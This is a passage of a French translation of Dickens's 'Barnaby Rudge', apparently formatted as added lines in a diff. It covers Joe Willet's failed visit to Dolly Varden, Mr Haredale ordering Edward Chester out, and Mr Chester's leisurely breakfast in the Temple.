+air d'oisiveté indifférente; mais il avait toujours l'oeil sur la
+fenêtre qu'il avait distinguée d'abord. Au bout d'un quart d'heure
+environ d'attente, une petite main blanche fut un instant agitée
+vers lui de cette fenêtre; le jeune homme fit un salut respectueux
+et partit; et, en enfourchant de nouveau son cheval, il se dit à
+voix très basse: «Pas de commission pour moi aujourd'hui!»
+
+Mais l'air d'élégance, le retroussis du chapeau que John Willet
+avait critiqué, et le bouquet printanier, tout dénotait quelque
+petite commission pour son propre compte, à l'adresse d'une
+personne plus intéressante qu'un marchand de vin ou même qu'un
+serrurier. C'est effectivement ce qui arriva: car, lorsqu'il eut
+réglé avec le marchand de vin, qui tenait son bureau de commerce
+dans quelques caves profondes près de Thames-Street (un vieux
+monsieur à la face aussi empourprée que s'il avait toute sa vie
+porté leurs voûtes sur sa tête), lorsqu'il eut pris le reçu, et
+refusé de boire plus de trois verres de vieux xérès, à l'extrême
+étonnement du négociant rubicond, qui, foret en main, avait
+projeté d'assaillir une vingtaine au moins de barils poudreux, et
+qui en resta cloué ou moralement vrillé, pour ainsi dire, au mur
+de sa cave; lorsqu'il eut fait tout cela, et achevé en outre un
+frugal dîner au Lion noir dans Whitechapel, méprisant le Monument
+et le conseil de John, il dirigea ses pas vers la maison du
+serrurier, attiré par les yeux de la florissante Dolly Varden.
+
+Joe n'était nullement un nigaud; mais néanmoins, quand il fut
+arrivé à l'encoignure de la rue où le serrurier demeurait, il ne
+put pas se résoudre à aller droit à la maison. D'abord il prit le
+parti de flâner dans une autre rue pendant cinq minutes, puis
+pendant cinq minutes encore dans une autre rue, et ainsi de suite,
+jusqu'à ce qu'il eut perdu une grande demi-heure; il fit alors un
+hardi plongeon, et se trouva dans la boutique enfumée, le visage
+rouge et le coeur palpitant.
+
+«John Willet, ou son ombre! dit Varden, en se levant de dessus le
+pupitre où il était occupé à ses livres, et le regardant sous ses
+lunettes; ma foi! oui, c'est bien Joe en chair et en os! À la
+bonne heure! Et comment va toute la société de Chigwell, Joe?
+
+-- Toujours comme à l'ordinaire, monsieur; nous nous entendons,
+eux et moi, aussi bien que par le passé.
+
+-- Bon, bon! dit le serrurier. Il nous faut être patients, Joe, et
+endurer les faibles des vieilles gens. Comment va la jument, Joe?
+Elle fait toujours ses quatre milles à l'heure aussi aisément que
+jamais? Ha, ha, ha! n'est-ce pas, Joe? Tiens! qu'est-ce que nous
+avons là Joe, un bouquet?
+
+-- De bien pauvres fleurs, monsieur; je pensais que Mlle Dolly ...
+
+-- Non, non, dit Gabriel, baissant la voix et secouant la tête,
+pas Dolly. Donnez-les à sa mère, Joe. Il vaut beaucoup mieux les
+donner à sa mère. Ça ne vous contrarie pas de les donner à
+Mme Varden, Joe?
+
+-- Oh! non, monsieur, répliqua Joe en cherchant, mais sans
+beaucoup de succès, à cacher son désappointement. J'en serais
+charmé, je vous assure.
+
+-- Très bien, dit le serrurier en le frappant doucement sur le
+dos. Peu vous importe qui les aura, n'est-ce pas, Joe?
+
+-- Oh! oui, monsieur.»
+
+Cher coeur, comme ces mots s'attachèrent à sa gorge!
+
+«Entrez, dit Gabriel, on vient justement de m'appeler pour le thé.
+Elle est dans la salle à manger.
+
+-- Elle! pensa Joe. Laquelle des deux, je ne sais, madame ou
+mademoiselle?» Le serrurier éclaircit son doute avec autant d'à-
+propos que s'il l'eût entendu formuler à haute voix, en le menant
+à la porte et disant: «Ma chère Marthe, voici M. Willet fils.»
+
+Mme Varden, regardant le Maypole comme une espèce de souricière
+humaine, ou de traquenard pour les maris, considérant son
+propriétaire, et tous ses aides et suppôts, comme autant de
+braconniers à l'affût des chrétiens, et croyant d'ailleurs que les
+publicains accouplés avec les pécheurs dans l'Écriture sainte
+étaient de véritables aubergistes patentés, parce qu'ils tenaient
+des maisons publiques, était loin d'être disposée favorablement à
+l'égard du jeune homme qui lui rendait visite. Aussi fut-elle sur-
+le-champ prise d'une faiblesse, et, lorsque les crocus et les
+perce-neige lui eurent été dûment présentés, elle devina, en y
+réfléchissant, que c'étaient eux qui étaient la cause de cette
+pâmoison qui avait accablé ses sens. «Je craindrais de ne pouvoir
+supporter l'atmosphère de la salle une minute de plus, dit la
+bonne dame, s'ils demeuraient ici. Voulez-vous bien m'excuser de
+les mettre en dehors de la fenêtre?»
+
+Joe la pria de vouloir bien se dispenser de toute excuse, et
+sourit faiblement lorsqu'il vit ses fleurs mises sur l'allège
+extérieure. Jamais personne ne saura les peines qu'il s'était
+données pour composer ce bouquet voué maintenant au dédain et
+traité si cavalièrement.
+
+«Ah! comme cela me fait du bien d'en être débarrassée! dit
+Mme Varden. Je me sens déjà beaucoup mieux.» Et en vérité elle
+semblait avoir recouvré ses sens.
+
+Joe exprima sa gratitude envers la Providence d'une faveur si
+précieuse, et il n'eut seulement pas l'air de songer où pouvait
+être Dolly.
+
+«Vous êtes de vilaines gens à Chigwell, monsieur Joseph, dit
+Mme Varden.
+
+-- Mais non, madame, je l'espère, répliqua Joe.
+
+-- Vous êtes les gens les plus cruellement irréfléchis qu'il y ait
+au monde, dit Mme Varden en se rengorgeant. Je m'étonne que
+M. Willet père, ayant été lui-même un homme marié, ne sache pas
+mieux se conduire qu'il ne fait. Je sais bien qu'il y trouve son
+profit, mais ce n'est pas une excuse; j'aimerais mieux payer vingt
+fois plus, et que Varden revînt à la maison comme un respectable
+et sobre commerçant. S'il y a un défaut au monde qui me blesse et
+me dégoûte, plus que tout autre, c'est l'ivrognerie.
+
+-- Allons, ma chère Marthe, dit le serrurier d'un air jovial,
+faites-nous servir le thé, et ne parlons pas d'ivrognes. Il n'y en
+pas ici, et Joe ne se soucie guère d'en parler, à coup sûr.»
+
+En ce moment critique, Miggs parut avec les rôties.
+
+«À coup sûr, il ne s'en soucie guère, dit Mme Varden, ni vous non
+plus, Varden, à coup sûr. C'est un sujet fort désagréable, je n'en
+doute pas, bien que je ne veuille pas dire qu'il soit personnel...
+Miggs toussa... quoiqu'on ne soit pas maîtresse de ce qu'on pense.
+Vous ne saurez jamais, Varden, et personne à l'âge de M. Willet
+fils (excusez-moi, monsieur) ne peut naturellement savoir ce que
+souffre une femme qui attend chez elle dans de pareilles
+circonstances. Si vous ne me croyez pas, comme je n'en ai que trop
+la preuve, voici Miggs qui en est assez souvent témoin; veuillez
+l'interroger.
+
+-- Oh! elle a été très mal l'autre soir, monsieur, très mal en
+vérité, dit Miggs. S'il n'y avait pas en vous la douceur d'un
+ange, mame, je pense que vous ne pourriez pas supporter cela,
+réellement je le pense.
+
+-- Miggs, dit Mme Varden, vous faites un blasphème.
+
+-- Pardonnez-moi, mame, répliqua Miggs avec une volubilité
+perçante, ce n'était pas mon intention, et ça n'est pas dans mon
+caractère, j'ose l'espérer, bien que je ne sois qu'une domestique.
+
+-- Vous pouvez bien répondre, Miggs, sans oublier le soin de votre
+salut, riposta sa maîtresse en regardant à la ronde avec dignité.
+Comment osez-vous parler d'anges, à propos de misérables pécheurs
+comme vous et moi? Est-ce que nous sommes autre chose, dit
+Mme Varden en jetant un coup d'oeil sur un miroir voisin, et en
+arrangeant le ruban de son bonnet plus à son avantage..., que des
+vers de terre?
+
+-- Je n'ai pas eu l'intention, mame, s'il vous plaît, de vous
+offenser, dit Miggs confiante en la force de son compliment, et
+développant vigoureusement son gosier comme de coutume, et je ne
+m'attendais pas à voir prendre comme ça ce que je dis; je connais
+ma propre indignité, je l'espère, et je n'ai que haine et mépris
+pour moi-même et pour mes semblables, comme c'est le devoir d'un
+bon chrétien.
+
+-- Ayez la bonté, s'il vous plaît, dit Mme Varden avec hauteur, de
+monter voir si Dolly a fini de s'habiller; vous l'avertirez que la
+chaise commandée pour elle sera ici dans une minute, et que, si
+elle fait attendre les porteurs, je les renverrai à l'instant. Je
+suis fâchée de voir que vous ne preniez pas votre thé, Varden, ni
+vous le vôtre, monsieur Joseph; mais c'est naturel, et il y aurait
+folie de ma part à supposer que les choses qu'on peut se procurer
+à la maison, et dans la compagnie des dames, aient le moindre
+charme pour vous!»
+
+Ce pronom, dans son intention, était bien au pluriel, et
+s'adressait à ces deux messieurs, quoique l'un et l'autre
+n'eussent guère mérité ce coup de boutoir: car Gabriel avait
+attaqué la collation avec un appétit qui promettait, jusqu'à ce
+que Mme Varden elle-même le lui eût fait perdre; quant à Joe, il
+avait pour la compagnie des dames chez le serrurier, ou du moins
+pour une partie d'entre elles, autant de goût qu'il était possible
+à un homme d'en avoir.
+
+Mais il n'eut pas le temps de dire quoi que ce fût pour sa
+défense; Dolly elle-même parut à ce moment, et il resta muet, les
+yeux éblouis de sa beauté. Jamais Dolly n'avait semblé si belle
+qu'alors, dans toute la splendeur et la grâce de la jeunesse, avec
+tous ses attraits centuplés par une toilette qui lui seyait à
+merveille, par mille petites coquettes façons que personne ne
+savait prendre avec plus de grâce, le visage tout scintillant de
+l'attente de cette maudite soirée. Il est impossible de dire
+combien Joe la détestait, cette soirée, quel qu'en fût le théâtre,
+et tous les invités, quels qu'ils fussent.
+
+Et elle le regarda à peine; oui, à peine le regarda-t-elle. Et
+quand on vit, par la porte ouverte, la chaise entrer de guingois
+dans la boutique, alors elle claqua des mains et sembla toute
+joyeuse de s'en aller. Mais Joe lui donna le bras, c'était
+toujours une consolation, et il l'aida à monter dans la chaise.
+Oh! la voir prendre place à l'intérieur, avec ses yeux riants qui
+brillaient plus que les diamants; voir sa main (elle avait sans
+aucun doute la plus jolie main du monde), voir sa main sur le bord
+du vasistas baissé; voir son petit doigt en arrêt d'une façon
+provocante et impertinente, comme s'il s'étonnait que Joe ne le
+serrât ni ne le baisât! Penser quel bon effet un ou deux des
+modestes perce-neige auraient pu faire sur ce corsage délicat,
+pendant qu'ils étaient là, gisant à l'abandon sur le rebord de la
+fenêtre de la salle à manger! Voir comment la regardait Miggs,
+avec une figure où on pouvait lire qu'elle n'était pas dupe de
+toute cette gentillesse d'emprunt; qu'elle était dans le secret de
+chaque lacet, de chaque épingle, des agrafes et des oeillets: «Et
+tout cela, monsieur, n'est pas à moitié aussi réel que vous le
+croyez; mais je n'aurais pas besoin de tout cela non plus pour
+être encore plus jolie, si je voulais m'en donner la peine.»
+Entendre ce précieux petit cri de frayeur provocante lorsque la
+chaise fut hissée sur ses bâtons, et saisir la vision, vision
+fugitive mais éternelle, de l'heureux visage qui était dedans;
+quels tourments, quel surcroît de souffrance, et néanmoins quelles
+délices! les porteurs eux-mêmes semblèrent à ses yeux jaloux des
+rivaux favorisés, quand il les vit descendre la rue avec elle.
+
+Il n'y eut jamais dans une petite pièce, en un court espace de
+temps, un changement comparable à celui de la salle à manger,
+lorsqu'on revint finir le thé. C'était sombre, c'était désert,
+c'était un complet désenchantement. Joe trouvait que c'était
+sottise pure de rester là tranquillement assis, tandis qu'elle
+était au bal avec un nombre incalculable d'amants qui voltigeaient
+autour d'elle, et toute la société raffolant d'elle, et l'adorant,
+et voulant l'épouser en masse; et Miggs qui était là, à voltiger
+autour de la table. Le fait seul de son existence, le simple
+phénomène qu'elle eût pu jamais naître, lui paraissait, auprès de
+Dolly, une plaisanterie inexplicable et sans but. Impossible de
+parler, pas moyen d'y réussir. Il n'était capable que de remuer
+son thé avec sa cuiller tout autour, tout autour, tout autour, en
+ruminant sur toutes les fascinations de l'aimable fille du
+serrurier.
+
+Gabriel aussi était taciturne. Or, c'était un des côtés certains
+de l'incertaine humeur de Mme Varden, qu'elle se montrât vive et
+gaie quand elle voyait aux autres des dispositions contraires.
+
+«Il faut que je sois naturellement d'une bien heureuse humeur, dit
+la souriante ménagère, pour conserver avec tout ça un peu
+d'entrain; comment fais-je pour en avoir encore? je n'en sais en
+vérité rien.
+
+-- Ah! mame, soupira Miggs, je vous demande pardon de vous
+interrompre, mais il n'y en a pas beaucoup comme vous.
+
+-- Emportez tout cela, Miggs, dit Mme Varden en se levant,
+emportez tout cela. Je vois bien que je gêne ici; et, comme je
+désire que chacun ait le plus d'agrément qu'il peut, je sens que
+je ferai mieux de m'en aller.
+
+-- Non, non, Marthe, cria le serrurier. Demeurez ici; nous
+serions, ma foi, très fâchés de vous perdre: n'est-ce pas, Joe?»
+
+Joe tressaillit et dit: «Certainement.»
+
+-- Je vous remercie, mon cher Varden, répliqua sa femme, mais je
+connais vos goûts: le tabac, la bière, les spiritueux, ont de plus
+grandes séductions qu'aucune de celles dont je peux me vanter. Je
+vais m'en aller, je vais monter m'asseoir là-haut et regarder à la
+fenêtre, mon amour. Bonsoir, monsieur Joseph; je suis très
+contente de vous avoir vu, je regrette seulement de n'avoir pas eu
+à vous offrir quelque chose de plus à votre goût. Rappelez-moi
+affectueusement, s'il vous plaît, au souvenir de M. Willet père,
+et dites-lui que, quand il viendra par ici, nous aurons une fusée
+à démêler ensemble. Bonsoir.»
+
+Après avoir prononcé ces paroles avec une extrême douceur de
+manières, la bonne dame fit une révérence pleine de
+condescendance, et se retira avec sérénité.
+
+C'était donc pour cela que Joe avait attendu le 25 mars pendant
+des semaines, bien des semaines, et qu'il avait cueilli les fleurs
+avec tant de soin, et qu'il avait retroussé son chapeau, et qu'il
+s'était fait si pimpant! c'était donc là qu'aboutissait toute sa
+résolution hardie, prise pour la centième fois, de faire sa
+déclaration à Dolly, et de lui dire combien il l'aimait! La voir
+une minute, rien qu'une minute; la trouver partant pour une
+soirée, et toute joyeuse d'y aller; se voir traité comme un
+culotteur de pipes, un buveur de bière, un gobelotteur de
+spiritueux, en un mot, comme un ivrogne! Il dit adieu à son ami le
+serrurier, et se hâta d'aller reprendre son cheval au Lion noir.
+Lorsqu'il tourna bride vers la maison, il pensait, comme maint
+autre Joe l'avait pensé avant et l'a pensé depuis, que c'en était
+fait de toutes ses espérances; que c'était chose impossible et
+sans espoir; qu'elle ne s'occupait pas plus de lui que s'il
+n'existait pas; qu'il était malheureux pour la vie, et qu'il
+n'avait plus qu'une seule perspective acceptable: c'était de
+devenir soldat ou marin, et de trouver quelque ennemi assez
+obligeant pour lui faire sauter la cervelle aussitôt que possible.
+
+
+
+
+CHAPITRE XIV.
+
+
+Joe Willet ne chevaucha pas vite le long de la route: car, dans
+son désespoir, il se représentait la fille du serrurier dansant de
+longues contredanses et de terribles branles avec de hardis
+étrangers, image intolérable, lorsqu'il entendit derrière lui le
+piétinement d'un cheval. Ayant tourné la tête, il aperçut un
+gentleman bien monté, avançant à un bon petit galop. Le gentleman,
+en passant, contint un peu sa monture, et l'appela par son nom,
+comme l'héritier du Maypole. Joe donna de l'éperon à la jument
+grise, et fut tout de suite côte à côte de ce cavalier.
+
+«Je pensais bien que c'était vous, monsieur dit-il en mettant la
+main à son chapeau. Une belle soirée, monsieur Je suis heureux de
+voir que vous n'êtes plus claquemuré.»
+
+Le cavalier sourit, et en le remerciant d'un signe de tête:
+«Comment avez-vous employé la journée, Joe? gaiement, n'est-ce
+pas? Est-elle toujours aussi gentille? Il n'y a pas de quoi
+rougir, mon garçon.
+
+-- Ce n'est pas ce qui me donne ce peu de couleur, monsieur
+Édouard, dit Joe, c'est plutôt de penser que j'aie été assez fou
+pour avoir jamais eu la moindre espérance à propos d'elle. Elle
+est aussi loin de moi que le firmament.
+
+«Allons Joe, vous n'en êtes pas si loin que ça j'espère, dit
+Édouard avec bonne humeur ... hein?
+
+-- Ah! soupira Joe. C'est bon à dire, monsieur. Il n'est pas
+difficile de plaisanter quand on n'a pas de chagrin. Mais voyez-
+vous, c'est sans remède. Iriez-vous par hasard à notre maison?
+
+-- Oui, comme je n'ai pas encore repris toutes mes forces, je
+coucherai chez vous ce soir, et je retournerai au logis demain
+matin à la fraîche.
+
+-- Si vous n'êtes pas trop pressé, dit Joe après un court silence,
+et si vous pouvez endurer le pas de cette pauvre rosse, je serai
+heureux de vous accompagner jusqu'à la Garenne, monsieur, et de
+tenir votre cheval quand vous descendrez. Cela vous épargnera la
+fatigue d'aller à pied au Maypole, et de revenir à pied. Je peux
+très bien vous donner le temps nécessaire, monsieur, car je suis
+en avance.
+
+-- Et moi de même, répliqua Édouard, quoique à mon insu je
+galopasse tout à l'heure un peu vite, m'accommodant, je suppose,
+au train de mes pensées qui couraient la poste. J'irai volontiers
+avec vous, Joe, au pas de votre jument, et nous nous ferons aussi
+bonne compagnie que possible. Allons, du courage! pensez à la
+fille du serrurier avec un coeur résolu, et vous parviendrez à la
+conquérir.»
+
+Joe secoua la tête, mais il y avait, dans le ton de ces paroles
+pleines de chaleur et d'espoir, quelque chose de si encourageant,
+que son ardeur se ranima sous leur influence; et la jument grise
+elle-même en parut toute frétillante. Elle interrompit son amble
+modeste, et, prenant un trot assez doux, elle rivalisa d'allure
+avec le cheval d'Édouard Chester; et encore on eût dit qu'elle se
+flattait en elle-même que le coursier faisait de son mieux pour la
+suivre.
+
+C'était une belle soirée; il faisait un temps sec, et la lumière
+d'une jeune lune, que, précisément, on voyait alors se lever,
+répandait à la ronde cette paix et cette tranquillité qui donne au
+soir son charme le plus délicieux. Les ombres allongées des
+arbres, estompées comme si elles se reflétaient dans une eau
+immobile, jetaient leur tapis sur le chemin que suivaient nos
+voyageurs, et la légère brise soufflait avec plus de douceur
+encore qu'auparavant, comme pour éventer seulement la nature dans
+son sommeil. Peu à peu ils cessèrent de parler, et chevauchèrent
+côte à côte dans un agréable silence.
+
+«Le Maypole, ce soir, est éclairé d'une manière brillante, dit
+Édouard lorsqu'ils passèrent le long de la ruelle d'où l'auberge
+était visible, parce que les arbres qui les en séparaient étaient
+dépouillés de feuilles.
+
+-- Brillante en effet, monsieur, répondit Joe en se haussant sur
+les étriers pour mieux voir. Des lumières dans le grand salon et
+un feu qui s'allume dans la meilleure chambre à coucher? Eh mais!
+ça m'étonne; quel hôte pouvons-nous donc avoir?
+
+-- Quelque cavalier attardé sur la route de Londres, et qui n'aura
+pas été tenté de s'y rendre de nuit, je suppose, au récit de la
+merveilleuse histoire de mon ami le voleur de grand chemin, dit
+Édouard.
+
+-- Ce doit être un cavalier de qualité, pour qu'on l'installe de
+cette manière-là. Votre propre lit, monsieur!
+
+-- Il n'importe, Joe. Je m'arrangerai de toute autre chambre.
+Mais, allons, voici neuf heures qui sonnent. Doublons le pas.»
+
+Ils partirent à un petit galop aussi vif que put le soutenir la
+monture de Joe, et s'arrêtèrent promptement dans le taillis où la
+jument avait été laissée le matin. Édouard descendit de cheval,
+donna sa bride à son compagnon, et marcha vers la maison d'un pas
+léger.
+
+Une servante attendait à une porte latérale du mur du jardin, et
+l'introduisit sans retard. Il se précipita le long de l'allée de
+la terrasse, et monta comme une flèche un large perron menant à
+une antique et sombre salle, dont les murailles étaient ornées de
+panoplies couvertes de rouille, de bois de cerfs, d'instruments de
+chasse, et d'autres décorations de ce genre. Il fit là une pause,
+mais pas longue: car au moment où il regardait autour de lui,
+comme s'il eût pensé que la servante dût le suivre, et qu'il
+s'étonnât qu'elle ne l'eût pas fait, une personne parut, fille
+charmante, dont la tête aux noirs cheveux reposa bientôt sur sa
+poitrine. Presque au même instant, une main pesante saisit le bras
+de cette jeune fille, Édouard se sentit rudement écarté:
+M. Haredale était là entre eux.
+
+Il fixa sur le jeune homme un oeil sévère, sans ôter son chapeau;
+d'une main il étreignit sa nièce, et, de l'autre, qui tenait sa
+cravache, il montra la porte à Édouard. Celui-ci. dans une fière
+attitude, le regarda fixement à son tour.
+
+«C'est fort beau de votre part, monsieur, de corrompre mes
+domestiques, et d'entrer chez moi de votre chef et clandestinement
+comme un voleur! dit M. Haredale. Sortez d'ici, monsieur, et n'y
+revenez plus jamais.
+
+-- La présence de Mlle Haredale, répliqua le jeune homme et votre
+parenté avec elle, vous donnent un droit dont vous n'abuserez pas,
+si vous êtes un homme de coeur. C'est vous qui m'avez contraint à
+ces entrevues secrètes, et la faute en est à vous, non pas à moi.
+
+-- Ce n'est ni généreux ni honorable, ce n'est pas le fait d'un
+galant homme, riposta l'autre, de chercher à surprendre
+l'affection d'une jeune fille, faible et confiante, tandis que
+vous avez l'indignité de vous dérober à la surveillance de son
+tuteur, de son protecteur, et que vous n'osez pas venir à vos
+rendez-vous en plein jour. Je ne vous en dirai pas davantage;
+mais, je vous le répète, je vous défends l'entrée de cette maison,
+et vous somme de sortir.
+
+-- Ce n'est ni généreux ni honorable, ce n'est pas le fait d'un
+galant homme de jouer le rôle d'espion! dit Édouard Vos paroles
+attaquent mon honneur, et je les rejette avec le mépris qu'elles
+méritent.
+
+-- Vous trouverez, dit M. Haredale d'un ton calme, votre fidèle
+entremetteur qui vous attend à la porte par laquelle vous êtes
+entré. Je n'ai pas joué le rôle d'espion, monsieur. Le hasard m'a
+permis de vous voir franchir la porte, et je vous ai suivi. Vous
+auriez pu m'entendre frapper pour entrer, si vous aviez eu le pied
+moins leste, ou si vous vous étiez arrêté dans le jardin. Veuillez
+vous retirer. Votre présence ici est blessante pour moi et pénible
+pour ma nièce.»
+
+En disant ces mots, il passa son bras autour de la taille de la
+jeune fille terrifiée et tout en pleurs, pour l'attirer plus près
+de lui, et, quoique l'habituelle sévérité de ses manières n'en fût
+guère altérée, on voyait néanmoins dans son air de la tendresse et
+de la sympathie pour la douleur d'Emma.
+
+«Monsieur Haredale, dit Édouard, vous entourez de votre bras celle
+en qui j'ai mis toutes mes espérances et mes pensées et pour
+laquelle je sacrifierais ma vie avec plaisir, s'il s'agissait de
+lui procurer une minute de bonheur; cette maison est l'écrin qui
+renferme le plus précieux joyau de mon existence. Votre nièce m'a
+engagé sa foi, et je lui ai engagé la mienne. Qu'ai-je donc fait
+pour que vous me teniez en si mince estime, et que vous
+m'adressiez ces paroles discourtoises?
+
+-- Vous avez fait, monsieur, répondit M. Haredale, ce qu'il faut
+défaire. Vous avez formé un noeud d'amour qu'il faut trancher tout
+net. Prenez bien garde à ce que je vous dis: il le faut. J'annule
+votre engagement mutuel. Je vous rejette, vous et tous ceux de
+votre race, tous gens faux hypocrites et sans coeur.
+
+-- Des insultes, monsieur? dit Édouard dédaigneusement.
+
+-- Ce sont, monsieur, des paroles réfléchies et sérieuses, et vous
+en verrez l'effet, répliqua l'autre. Gravez-les dans votre coeur.
+
+-- Gravez donc celles-ci dans le vôtre, dit Édouard. Votre humeur
+froide et farouche, qui glace toute poitrine autour de vous qui
+change l'affection en crainte et le devoir en frayeur, nous a
+réduits à ces rapports clandestins. Ils répugnent à notre nature
+et à nos désirs, ils nous coûtent, monsieur, plus qu'à vous. Je ne
+suis pas un homme faux, hypocrite et sans coeur; c'est vous
+plutôt, qui hasardez misérablement ces injurieuses expressions-là
+en dépit de la vérité, et sous l'abri des sentiments que je vous
+ai exprimés tout à l'heure. Vous n'annulerez pas notre engagement
+mutuel. Je n'abandonnerai pas mes poursuites. Je compte sur la
+loyauté et l'honneur de votre nièce, et je mets votre influence au
+défi. Je quitte Emma plein de confiance en sa pure foi, que jamais
+vous ne réussirez à ébranler, et je n'ai d'autre souci que de ne
+pas la laisser livrée à des soins plus dignes d'elle.»
+
+Cela dit, il pressa sur ses lèvres la froide main de la jeune
+fille, et, rencontrant encore le ferme regard de M. Haredale avec
+un regard aussi ferme, il se retira.
+
+Quelques mots à Joe en remontant à cheval, lui expliquèrent
+suffisamment ce qui s'était passé, renouvelèrent tout le désespoir
+de ce jeune homme et rendirent sa peine dix fois plus accablante.
+Ils reprirent la route du Maypole sans échanger une syllabe, et
+arrivèrent à la porte, chacun avec leur poids sur le coeur.
+
+Le vieux John, qui avait guetté de derrière le rideau rouge,
+lorsque nos cavaliers avaient crié pour faire venir Hugh, sortit
+tout de suite et dit au jeune Chester avec beaucoup d'importance,
+en lui tenant l'étrier:
+
+«Il est bien confortablement dans son lit, dans le meilleur lit.
+Un parfait gentleman, le plus souriant, le plus affable gentleman
+à qui j'aie jamais eu affaire.
+
+-- Qui donc, Willet? dit Édouard négligemment en descendant de
+cheval.
+
+-- Votre digne père, monsieur, répliqua John, votre honorable,
+votre vénérable père.
+
+-- Que veut-il dire? demanda Édouard en regardant Joe avec un air
+où la crainte se mêlait au doute.
+
+-- Que voulez vous dire? répéta Joe. Ne voyez-vous pas que
+monsieur Édouard ne vous comprend point, père?
+
+-- Eh mais! ne saviez-vous pas ça, monsieur? dit John en ouvrant
+ses gros yeux tant qu'il put. Par exemple, c'est singulier! Il est
+resté ici toute l'après midi; M. Haredale a eu avec lui un long
+entretien, et il n'y a pas plus d'une heure qu'il s'en est allé.
+
+-- Mon père, Willet?
+
+-- Oui, monsieur, il me l'a dit lui-même, un beau gentleman, à la
+taille fine et droite, habit vert et or. Dans votre ancienne
+chambre là-haut, monsieur. Pas de doute que vous ne puissiez y
+entrer, monsieur, dit John en reculant de quelques pas sur le
+chemin et levant ses yeux vers la fenêtre. Il n'a pas encore
+éteint sa lumière, à ce que je vois.»
+
+Édouard jeta aussi un coup d'oeil sur la fenêtre, et, murmurant à
+la hâte qu'il avait changé d'idée, qu'il avait oublié quelque
+chose, et qu'il lui fallait retourner à Londres, il remonta à
+cheval et s'éloigna, laissant les Willet père et fils se regarder
+l'un l'autre dans un muet étonnement.
+
+
+
+
+CHAPITRE XV.
+
+
+Le lendemain, vers midi, l'hôte de la veille de John Willet, assis
+en sa propre maison, prolongeait son déjeuner, entouré d'une
+variété de jouissances qui laissaient derrière elles, à une
+distance infinie, les plus énergiques tentatives et le plus haut
+essor du Maypole pour le bien-être des voyageurs, et dont la
+comparaison était loin d'être à l'avantage de cette vénérable
+taverne.
+
+Dans l'embrasure antique d'une fenêtre, sur un siège aussi large
+que bien des sofas modernes, et garni de coussins pour tenir lieu
+d'un voluptueux canapé, dans une chambre spacieuse, M. Chester se
+dorlotait à son aise devant une table chargée d'un déjeuner
+complet. Il avait changé sa redingote contre une belle robe de
+chambre, ses bottes contre des pantoufles; il avait eu bien de la
+peine à réparer le malheur d'avoir été obligé de faire au Maypole
+sa toilette, à son lever, sans l'aide de son nécessaire et de sa
+garde-robe: mais ayant oublié par degrés, à la faveur de ces
+ressources domestiques, les désagréments d'une nuit médiocre et
+d'une chevauchée matinale, il était dans un parfait état
+d'aménité, d'indolence et de satisfaction.
+
+Il est vrai de dire que la situation où il se trouvait, était
+singulièrement favorable au développement de ces sentiments; car,
+sans parler de l'influence nonchalante d'un déjeuner tardif et
+solitaire, avec l'additionnel sédatif d'un journal, il y avait
+autour de son domicile un air de repos particulier à ce quartier
+qui semble y peser encore, même de notre temps, quoiqu'il soit
+aujourd'hui plus bruyant et plus agité qu'il n'était jadis.
+
+Londres offre certainement des quartiers moins propices que le
+Temple pour se chauffer au soleil, ou se reposer oisivement à
+l'ombre, par une journée de chaleur étouffante. Il y a encore dans
+ses cours quelque chose d'assoupissant, et une monotonie rêveuse
+dans ses arbres et ses jardins, ceux qui traversent ses petites
+rues et ses squares peuvent encore entendre l'écho de leurs pas
+sur les pierres sonores et lire à ses portes, en y passant du
+tumulte du Strand et de Fleet-Street: «Quiconque entre ici laisse
+tout bruit derrière soi.» Il y a encore le clapotement de l'eau
+qui tombe dans la belle cour des Fontaines, il y a encore des
+réduits et des coins où les étudiants obsédés par les créanciers
+peuvent regarder, du haut de leurs poudreux galetas, un mobile
+rayon de soleil qui marquette l'ombre des grands bâtiments, et qui
+ne reflète que par hasard la forme d'un étranger égaré par là. Il
+y a encore, dans le Temple, quelque chose de l'atmosphère
+cléricale et monacale que les bureaux publics de la Justice n'ont
+pas troublé, et que même les agences officielles de jurisprudence
+n'ont pas pu faire disparaître. Dans l'été, ses pompes fournissent
+des jets plus frais, plus étincelants, plus profonds que les
+autres puits, aux flâneurs altérés, en suivant la trace de l'eau
+que les cruches pleines répandent sur le sol brûlant, ils aspirent
+la fraîcheur, jettent en soupirant de tristes regards vers la
+Tamise, et pensent aux bains, aux bateaux, aux excursions
+aquatiques, avec un morne désespoir.
+
+C'était dans une chambre de Paper Buildings, rangée de belles
+demeures qu'ombragent par devant de vieux arbres, et qui ont vue
+par derrière sur les jardins du Temple, que se dorlotait notre
+homme à son aise, tantôt reprenant le journal qu'il avait déposé
+cent fois, tantôt s'amusant avec les bribes de son repas tantôt
+tirant son cure-dent d'or et regardant à loisir autour de la
+chambre, ou bien par la fenêtre, dans les allées bien peignées des
+jardins, où un petit nombre de gens inoccupés étaient déjà,
+quoiqu'il fût de bonne heure, à se promener de côté et d'autre.
+Ici, une paire d'amants se trouvaient à un rendez-vous pour se
+quereller et se raccommoder après; là, une bonne d'enfant aux yeux
+noirs faisait plus d'attention aux étudiants en droit qu'à son
+marmot; de ce côté, une vieille fille, tenant un bichon en laisse,
+jetait sur cette double énormité d'obliques regards de dédain; de
+l'autre côté, un vieux monsieur, grêle et chétif, lorgnait la
+bonne d'enfant et jetait sur la vieille fille des regards aussi
+dédaigneux que les siens, et s'étonnait que la malheureuse ne sût
+pas qu'elle n'était plus jeune. Loin de tous ces gens-là, sur le
+bord du fleuve, deux ou trois couples de gens d'affaires
+marchaient de long en large, livrés à une conversation sérieuse;
+un jeune homme assis sur un banc, et seul, avait l'air tout
+pensif.
+
+«Ned est prodigieusement patient! dit M. Chester en lançant un
+coup d'oeil à ce dernier, tandis qu'il remettait sa tasse à thé
+sur la table et pliait son cure-dent d'or... immensément patient!
+Il était assis là-bas quand j'ai commencé à m'habiller, et c'est à
+peine s'il a changé d'attitude depuis. Le drôle de garçon!»
+
+Comme il parlait, l'autre se leva et vint dans sa direction d'un
+pas rapide.
+
+«Vraiment on croirait qu'il m'a entendu, dit le père en reprenant
+son journal avec un bâillement. Cher Ned!»
+
+Aussitôt la porte de la chambre s'ouvrit, et le jeune homme entra;
+son père lui dit un petit bonjour de la main, et sourit.
+
+«Avez-vous assez de loisir pour un court entretien, monsieur? dit
+Édouard.
+
+-- Assurément, Ned; j'ai toujours du loisir; vous connaissez mon
+tempérament. Avez-vous déjeuné?
+
+-- Il y a trois heures.
+
+-- Quel gaillard matinal! cria son père en le contemplant de
+derrière son cure-dent avec un languissant sourire.
+
